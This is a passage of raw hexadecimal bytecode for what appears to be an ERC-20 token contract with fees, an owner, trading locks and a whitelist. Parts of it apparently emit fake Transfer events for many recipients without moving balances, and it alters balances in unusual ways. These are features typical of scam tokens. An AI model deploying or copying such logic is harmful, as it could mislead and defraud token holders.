05050565b600082620008ea5760019050620009bd565b81620008fa5760009050620009bd565b81600181146200091357600281146200091e5762000954565b6001915050620009bd565b60ff84111562000933576200093262000841565b5b8360020a9150848211156200094d576200094c62000841565b5b50620009bd565b5060208310610133831016604e8410600b84101617156200098e5782820a90508381111562000988576200098762000841565b5b620009bd565b6200099d84848460016200087d565b92509050818404811115620009b757620009b662000841565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b6000620009e882620009c4565b9150620009f583620009ce565b925062000a247fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620008d8565b905092915050565b600062000a3982620009c4565b915062000a4683620009c4565b925082820262000a5681620009c4565b9150828204841483151762000a705762000a6f62000841565b5b5092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000aa98262000a7c565b9050919050565b62000abb8162000a9c565b811462000ac757600080fd5b50565b60008151905062000adb8162000ab0565b92915050565b6000806040838503121562000afb5762000afa62000a77565b5b600062000b0b8582860162000aca565b925050602062000b1e8582860162000aca565b9150509250929050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168062000baa57607f821691505b60208210810362000bc05762000bbf62000b62565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b60006008830262000c2a7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000beb565b62000c36868362000beb565b95508019841693508086168417925050509392505050565b6000819050919050565b600062000c7962000c7362000c6d84620009c4565b62000c4e565b620009c4565b9050919050565b6000819050919050565b62000c958362000c58565b62000cad62000ca48262000c80565b84845462000bf8565b825550505050565b600090565b62000cc462000cb5565b62000cd181848462000c8a565b505050565b5b8181101562000cf95762000ced60008262000cba565b60018101905062000cd7565b5050565b601f82111562000d485762000d128162000bc6565b62000d1d8462000bdb565b8101602085101562000d2d578190505b62000d4562000d3c8562000bdb565b83018262000cd6565b50505b505050565b600082821c905092915050565b600062000d6d6000198460080262000d4d565b1980831691505092915050565b600062000d88838362000d5a565b9150826002028217905092915050565b62000da38262000b28565b67ffffffffffffffff81111562000dbf5762000dbe62000b33565b5b62000dcb825462000b91565b62000dd882828562000cfd565b600060209050601f83116001811462000e10576000841562000dfb578287015190505b62000e07858262000d7a565b86555062000e77565b601f19841662000e208662000bc6565b60005b8281101562000e4a5784890151825560018201915060208501945060208101905062000e23565b8683101562000e6a578489015162000e66601f89168262000d5a565b8355505b6001600288020188555050505b505050505050565b600082825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b600062000ec8601f8362000e7f565b915062000ed58262000e90565b602082019050919050565b6000602082019050818103600083015262000efb8162000eb9565b9050919050565b600062000f0f82620009c4565b915062000f1c83620009c4565b925082820190508082111562000f375762000f3662000841565b5b92915050565b62000f4881620009c4565b82525050565b600060208201905062000f65600083018462000f3d565b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600062000fa360208362000e7f565b915062000fb08262000f6b565b602082019050919050565b6000602082019050818103600083015262000fd68162000f94565b9050919050565b6080516142d66200100e60003960008181610cdc015281816129d401528181612ab50152612adc01526142d66000f3fe6080604052600436106102295760003560e01c806389291a8f11610123578063c8c8ebe4116100ab578063de0e9a3e1161006f578063de0e9a3e146107c8578063e2f45605146107f1578063f2fde38b1461081c578063f8b45b0514610845578063ffb54a991461087057610230565b8063c8c8ebe4146106f3578063c9567bf91461071e578063cf9522fd14610735578063dd62ed3e14610760578063dd8546521461079d57610230565b8063a457c2d7116100f2578063a457c2d7146105fe578063a9059cbb1461063b578063ad29ffde14610678578063afa4f3b2146106a1578063c2b7bbb6146106ca57610230565b806389291a8f146105685780638da5cb5b1461057f57806395d89b41146105aa5780639a7a23d6146105d557610230565b80633be6e637116101b157806370a082311161017557806370a08231146104bd578063715018a6146104fa578063751039fc146105115780637571336a146105285780637d16a7211461055157610230565b80633be6e637146103d857806342966c68146104015780634fbee1931461042a578063583e0568146104675780636ddd17131461049257610230565b806323b872dd116101f857806323b872dd146102df57806326ededb81461031c578063311028af14610345578063313ce56714610370578063395093511461039b57610230565b806306fdde0314610235578063095ea7b3146102605780630f054c061461029d57806318160ddd146102b457610230565b3661023057005b600080fd5b34801561024157600080fd5b5061024a61089b565b6040516102579190612c24565b60405180910390f35b34801561026c57600080fd5b5061028760048036038101906102829190612cee565b61092d565b6040516102949190612d49565b60405180910390f35b3480156102a957600080fd5b506102b2610950565b005b3480156102c057600080fd5b506102c9610aa1565b6040516102d69190612d73565b60405180910390f35b3480156102eb57600080fd5b5061030660048036038101906103019190612d8e565b610aab565b6040516103139190612d49565b60405180910390f35b34801561032857600080fd5b50610343600480360381019061033e9190612e46565b610ada565b005b34801561035157600080fd5b5061035a610bb7565b6040516103679190612d73565b60405180910390f35b34801561037c57600080fd5b50610385610bbd565b6040516103929190612ec2565b60405180910390f35b3480156103a757600080fd5b506103c260048036038101906103bd9190612cee565b610bc6565b6040516103cf9190612d49565b60405180910390f35b3480156103e457600080fd5b506103ff60048036038101906103fa9190612edd565b610bfd565b005b34801561040d57600080fd5b5061042860048036038101906104239190612f1d565b610c68565b005b34801561043657600080fd5b50610451600480360381019061044c9190612f4a565b610c84565b60405161045e9190612d49565b60405180910390f35b34801561047357600080fd5b5061047c610cda565b6040516104899190612fd6565b60405180910390f35b34801561049e57600080fd5b506104a7610cfe565b6040516104b49190612d49565b60405180910390f35b3480156104c957600080fd5b506104e460048036038101906104df9190612f4a565b610d11565b6040516104f19190612d73565b60405180910390f35b34801561050657600080fd5b5061050f610d59565b005b34801561051d57600080fd5b50610526610d6d565b005b34801561053457600080fd5b5061054f600480360381019061054a919061301d565b610d92565b005b34801561055d57600080fd5b50610566610df5565b005b34801561057457600080fd5b5061057d610e1a565b005b34801561058b57600080fd5b50610594610eae565b6040516105a1919061306c565b60405180910390f35b3480156105b657600080fd5b506105bf610ed8565b6040516105cc9190612c24565b60405180910390f35b3480156105e157600080fd5b506105fc60048036038101906105f7919061301d565b610f6a565b005b34801561060a57600080fd5b5061062560048036038101906106209190612cee565b611010565b6040516106329190612d49565b60405180910390f35b34801561064757600080fd5b50610662600480360381019061065d9190612cee565b611087565b60405161066f9190612d49565b60405180910390f35b34801561068457600080fd5b5061069f600480360381019061069a91906131c5565b6110aa565b005b3480156106ad57600080fd5b506106c860048036038101906106c39190612f1d565b6111af565b005b3480156106d657600080fd5b506106f160048036038101906106ec9190612f4a565b6111df565b005b3480156106ff57600080fd5b5061070861122b565b6040516107159190612d73565b60405180910390f35b34801561072a57600080fd5b50610733611231565b005b34801561074157600080fd5b5061074a611256565b6040516107579190612d73565b60405180910390f35b34801561076c57600080fd5b5061078760048036038101906107829190613221565b61125c565b6040516107949190612d73565b60405180910390f35b3480156107a957600080fd5b506107b26112e3565b6040516107bf9190612d73565b60405180910390f35b3480156107d457600080fd5b506107ef60048036038101906107ea9190612f1d565b6112e9565b005b3480156107fd57600080fd5b506108066113c6565b6040516108139190612d73565b60405180910390f35b34801561082857600080fd5b50610843600480360381019061083e9190612f4a565b6113cc565b005b34801561085157600080fd5b5061085a61144f565b6040516108679190612d73565b60405180910390f35b34801561087c57600080fd5b50610885611455565b6040516108929190612d49565b60405180910390f35b6060600580546108aa90613290565b80601f01602080910402602001604051908101604052809291908181526020018280546108d690613290565b80156109235780601f106108f857610100808354040283529160200191610923565b820191906000526020600020905b81548152906001019060200180831161090657829003601f168201915b5050505050905090565b600080610938611468565b9050610945818585611470565b600191505092915050565b610958611639565b600030905060008173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401610998919061306c565b602060405180830381865afa1580156109b5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109d991906132d6565b905060008111610a1e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a159061334f565b60405180910390fd5b8173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401610a5992919061336f565b6020604051808303816000875af1158015610a78573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a9c91906133ad565b505050565b6000600454905090565b600080610ab6611468565b9050610ac38582856116b7565b610ace858585611743565b60019150509392505050565b610ae2611639565b60005b83839050811015610bb157838382818110610b0357610b026133da565b5b9050602002016020810190610b189190612f4a565b73ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610b969190612d73565b60405180910390a38080610ba990613438565b915050610ae5565b50505050565b600f5481565b60006009905090565b600080610bd1611468565b9050610bf2818585610be3858961125c565b610bed9190613480565b611470565b600191505092915050565b610c05611639565b60148211158015610c17575060328111155b610c56576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c4d90613500565b60405180910390fd5b81601481905550806013819055505050565b610c70611639565b610c81610c7b611468565b8261204a565b50565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b7f000000000000000000000000000000000000000000000000000000000000000081565b601560009054906101000a900460ff1681565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610d61611639565b610d6b600061221f565b565b610d75611639565b6000610d7f610aa1565b9050806012819055508060118190555050565b610d9a611639565b80601760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b610dfd611639565b6001601560006101000a81548160ff021916908315150217905550565b610e22611639565b60004711610e65576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e5c9061356c565b60405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015610eab573d6000803e3d6000fd5b50565b6000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054610ee790613290565b80601f0160208091040260200160405190810160405280929190818152602001828054610f1390613290565b8015610f605780601f10610f3557610100808354040283529160200191610f60565b820191906000526020600020905b815481529060010190602001808311610f4357829003601f168201915b5050505050905090565b610f72611639565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611002576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ff9906135fe565b60405180910390fd5b61100c82826122e5565b5050565b60008061101b611468565b90506000611029828661125c565b90508381101561106e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161106590613690565b60405180910390fd5b61107b8286868403611470565b60019250505092915050565b600080611092611468565b905061109f818585611743565b600191505092915050565b6110b2611639565b60005b82518110156111aa5781600160008584815181106110d6576110d56133da565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550828181518110611142576111416133da565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff167f3499bfcf9673677ba552f3fe2ea274ec7e6246da31c3c87e115b45a9b0db2efb8360405161118f9190612d49565b60405180910390a280806111a290613438565b9150506110b5565b505050565b6111b7611639565b6111bf610bbd565b600a6111cb91906137e3565b816111d6919061382e565b60108190555050565b6111e7611639565b80600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60125481565b611239611639565b6001601560016101000a81548160ff021916908315150217905550565b60135481565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60145481565b806112f333610d11565b1015611334576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161132b906138bc565b60405180910390fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b815260040161139192919061336f565b600060405180830381600087803b1580156113ab57600080fd5b505af11580156113bf573d6000803e3d6000fd5b5050505050565b60105481565b6113d4611639565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611443576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161143a9061394e565b60405180910390fd5b61144c8161221f565b50565b60115481565b601560019054906101000a900460ff1681565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036114df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114d6906139e0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361154e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154590613a72565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161162c9190612d73565b60405180910390a3505050565b611641611468565b73ffffffffffffffffffffffffffffffffffffffff1661165f612386565b73ffffffffffffffffffffffffffffffffffffffff16146116b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116ac90613ade565b60405180910390fd5b565b60006116c3848461125c565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff811461173d578181101561172f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161172690613b4a565b60405180910390fd5b61173c8484848403611470565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036117b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117a990613bdc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611821576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161181890613c6e565b60405180910390fd5b43601881905550600081036118415761183c8383600061239a565b612045565b611849610eae565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156118b75750611887610eae565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156118f05750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561192a575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119435750600e60149054906101000a900460ff16155b15611cbd57601560019054906101000a900460ff16611a3d57600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806119fd5750600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b611a3c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a3390613cda565b60405180910390fd5b5b601854600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550601660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015611b265750601760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611bcd57601254811115611b70576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b6790613d6c565b60405180910390fd5b601154611b7c83610d11565b82611b879190613480565b1115611bc8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bbf90613dd8565b60405180910390fd5b611cbc565b601660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015611c705750601760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611cbb57601254811115611cba576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cb190613e6a565b60405180910390fd5b5b5b5b6000611cc830610d11565b905060008082119050808015611cea5750601560009054906101000a900460ff165b8015611d035750600e60149054906101000a900460ff16155b8015611d595750601660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611daf5750600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611e055750600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611e4a576001600e60146101000a81548160ff021916908315150217905550611e2e83612610565b6000600e60146101000a81548160ff0219169083151502179055505b600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460185411611e9e57611e9d3086856127a2565b5b6000600e60149054906101000a900460ff169050600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611f535750600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611f5d57600090505b6000811561203557601660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611fe657611fdf6064611fd16013548861285790919063ffffffff16565b61286d90919063ffffffff16565b9050612011565b61200e60646120006014548861285790919063ffffffff16565b61286d90919063ffffffff16565b90505b60008111156120265761202587308361239a565b5b80856120329190613e8a565b94505b61204087878761239a565b505050505b505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036120b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120b090613f30565b60405180910390fd5b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508181101561213f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161213690613fc2565b60405180910390fd5b8160085461214d9190613e8a565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600460008282546121a19190613e8a565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516122069190612d73565b60405180910390a361221a83600084612883565b505050565b6000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b80601660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508015158273ffffffffffffffffffffffffffffffffffffffff167fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab60405160405180910390a35050565b600080612391612888565b90508091505090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612409576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161240090613bdc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612478576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161246f90613c6e565b60405180910390fd5b612483838383612930565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015612509576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161250090614054565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516125f79190612d73565b60405180910390a361260a848484612883565b50505050565b600061261b30610d11565b9050600080820361262d57505061279f565b600060135460145461263f9190613480565b036126bb57600082118015612655575060105482105b15612662578190506126b6565b600061268c606461267e6013548761285790919063ffffffff16565b61286d90919063ffffffff16565b9050808461269a9190613e8a565b93506010548411156126b05760105491506126b4565b8391505b505b612793565b6000821180156126df57506126dc600560105461286d90919063ffffffff16565b82105b156126eb57505061279f565b60008211801561270f575061270c600560105461286d90919063ffffffff16565b82115b801561271c575060105482105b1561273e57612737600560105461286d90919063ffffffff16565b9050612792565b6000612768606461275a6013548761285790919063ffffffff16565b61286d90919063ffffffff16565b905080846127769190613e8a565b935060105484111561278c576010549150612790565b8391505b505b5b61279c81612935565b50505b50565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd83856103e8856127f091906140a3565b6040518463ffffffff1660e01b815260040161280e939291906140d4565b6020604051808303816000875af115801561282d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061285191906133ad565b50505050565b60008183612865919061382e565b905092915050565b6000818361287b91906140a3565b905092915050565b505050565b60008073ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461290757600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661292b565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff165b905090565b505050565b6000600267ffffffffffffffff81111561295257612951613087565b5b6040519080825280602002602001820160405280156129805781602001602082028036833780820191505090505b5090503081600081518110612998576129976133da565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612a3d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612a619190614120565b81600181518110612a7557612a746133da565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050612ada307f000000000000000000000000000000000000000000000000000000000000000084611470565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663791ac94783600084600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518663ffffffff1660e01b8152600401612b5e959493929190614246565b600060405180830381600087803b158015612b7857600080fd5b505af1158015612b8c573d6000803e3d6000fd5b505050505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612bce578082015181840152602081019050612bb3565b60008484015250505050565b6000601f19601f8301169050919050565b6000612bf682612b94565b612c008185612b9f565b9350612c10818560208601612bb0565b612c1981612bda565b840191505092915050565b60006020820190508181036000830152612c3e8184612beb565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612c8582612c5a565b9050919050565b612c9581612c7a565b8114612ca057600080fd5b50565b600081359050612cb281612c8c565b92915050565b6000819050919050565b612ccb81612cb8565b8114612cd657600080fd5b50565b600081359050612ce881612cc2565b92915050565b60008060408385031215612d0557612d04612c50565b5b6000612d1385828601612ca3565b9250506020612d2485828601612cd9565b9150509250929050565b60008115159050919050565b612d4381612d2e565b82525050565b6000602082019050612d5e6000830184612d3a565b92915050565b612d6d81612cb8565b82525050565b6000602082019050612d886000830184612d64565b92915050565b600080600060608486031215612da757612da6612c50565b5b6000612db586828701612ca3565b9350506020612dc686828701612ca3565b9250506040612dd786828701612cd9565b9150509250925092565b600080fd5b600080fd5b600080fd5b60008083601f840112612e0657612e05612de1565b5b8235905067ffffffffffffffff811115612e2357612e22612de6565b5b602083019150836020820283011115612e3f57612e3e612deb565b5b9250929050565b600080600060408486031215612e5f57612e5e612c50565b5b600084013567ffffffffffffffff811115612e7d57612e7c612c55565b5b612e8986828701612df0565b93509350506020612e9c86828701612cd9565b9150509250925092565b600060ff82169050919050565b612ebc81612ea6565b82525050565b6000602082019050612ed76000830184612eb3565b92915050565b60008060408385031215612ef457612ef3612c50565b5b6000612f0285828601612cd9565b9250506020612f1385828601612cd9565b9150509250929050565b600060208284031215612f3357612f32612c50565b5b6000612f4184828501612cd9565b91505092915050565b600060208284031215612f6057612f5f612c50565b5b6000612f6e84828501612ca3565b91505092915050565b6000819050919050565b6000612f9c612f97612f9284612c5a565b612f77565b612c5a565b9050919050565b6000612fae82612f81565b9050919050565b6000612fc082612fa3565b9050919050565b612fd081612fb5565b82525050565b6000602082019050612feb6000830184612fc7565b92915050565b612ffa81612d2e565b811461300557600080fd5b50565b60008135905061301781612ff1565b92915050565b6000806040838503121561303457613033612c50565b5b600061304285828601612ca3565b925050602061305385828601613008565b9150509250929050565b61306681612c7a565b82525050565b6000602082019050613081600083018461305d565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6130bf82612bda565b810181811067ffffffffffffffff821117156130de576130dd613087565b5b80604052505050565b60006130f1612c46565b90506130fd82826130b6565b919050565b600067ffffffffffffffff82111561311d5761311c613087565b5b602082029050602081019050919050565b600061314161313c84613102565b6130e7565b9050808382526020820190506020840283018581111561316457613163612deb565b5b835b8181101561318d57806131798882612ca3565b845260208401935050602081019050613166565b5050509392505050565b600082601f8301126131ac576131ab612de1565b5b81356131bc84826020860161312e565b91505092915050565b600080604083850312156131dc576131db612c50565b5b600083013567ffffffffffffffff8111156131fa576131f9612c55565b5b61320685828601613197565b925050602061321785828601613008565b9150509250929050565b6000806040838503121561323857613237612c50565b5b600061324685828601612ca3565b925050602061325785828601612ca3565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806132a857607f821691505b6020821081036132bb576132ba613261565b5b50919050565b6000815190506132d081612cc2565b92915050565b6000602082840312156132ec576132eb612c50565b5b60006132fa848285016132c1565b91505092915050565b7f4e6f20746f6b656e7320746f20636c6561720000000000000000000000000000600082015250565b6000613339601283612b9f565b915061334482613303565b602082019050919050565b600060208201905081810360008301526133688161332c565b9050919050565b6000604082019050613384600083018561305d565b6133916020830184612d64565b9392505050565b6000815190506133a781612ff1565b92915050565b6000602082840312156133c3576133c2612c50565b5b60006133d184828501613398565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061344382612cb8565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361347557613474613409565b5b600182019050919050565b600061348b82612cb8565b915061349683612cb8565b92508282019050808211156134ae576134ad613409565b5b92915050565b7f466565732063616e6e6f74206578636565642033302500000000000000000000600082015250565b60006134ea601683612b9f565b91506134f5826134b4565b602082019050919050565b60006020820190508181036000830152613519816134dd565b9050919050565b7f546f6b656e3a206e6f2045544820746f20636c65617200000000000000000000600082015250565b6000613556601683612b9f565b915061356182613520565b602082019050919050565b6000602082019050818103600083015261358581613549565b9050919050565b7f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060008201527f6175746f6d617465644d61726b65744d616b6572506169727300000000000000602082015250565b60006135e8603983612b9f565b91506135f38261358c565b604082019050919050565b60006020820190508181036000830152613617816135db565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b600061367a602583612b9f565b91506136858261361e565b604082019050919050565b600060208201905081810360008301526136a98161366d565b9050919050565b60008160011c9050919050565b6000808291508390505b6001851115613707578086048111156136e3576136e2613409565b5b60018516156136f25780820291505b8081029050613700856136b0565b94506136c7565b94509492505050565b60008261372057600190506137dc565b8161372e57600090506137dc565b8160018114613744576002811461374e5761377d565b60019150506137dc565b60ff8411156137605761375f613409565b5b8360020a91508482111561377757613776613409565b5b506137dc565b5060208310610133831016604e8410600b84101617156137b25782820a9050838111156137ad576137ac613409565b5b6137dc565b6137bf84848460016136bd565b925090508184048111156137d6576137d5613409565b5b81810290505b9392505050565b60006137ee82612cb8565b91506137f983612ea6565b92506138267fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484613710565b905092915050565b600061383982612cb8565b915061384483612cb8565b925082820261385281612cb8565b9150828204841483151761386957613868613409565b5b5092915050565b7f4e6f7420656e6f75676820436f696e20746f20756e777261702e000000000000600082015250565b60006138a6601a83612b9f565b91506138b182613870565b602082019050919050565b600060208201905081810360008301526138d581613899565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000613938602683612b9f565b9150613943826138dc565b604082019050919050565b600060208201905081810360008301526139678161392b565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006139ca602483612b9f565b91506139d58261396e565b604082019050919050565b600060208201905081810360008301526139f9816139bd565b9050919050565b7f45524332303a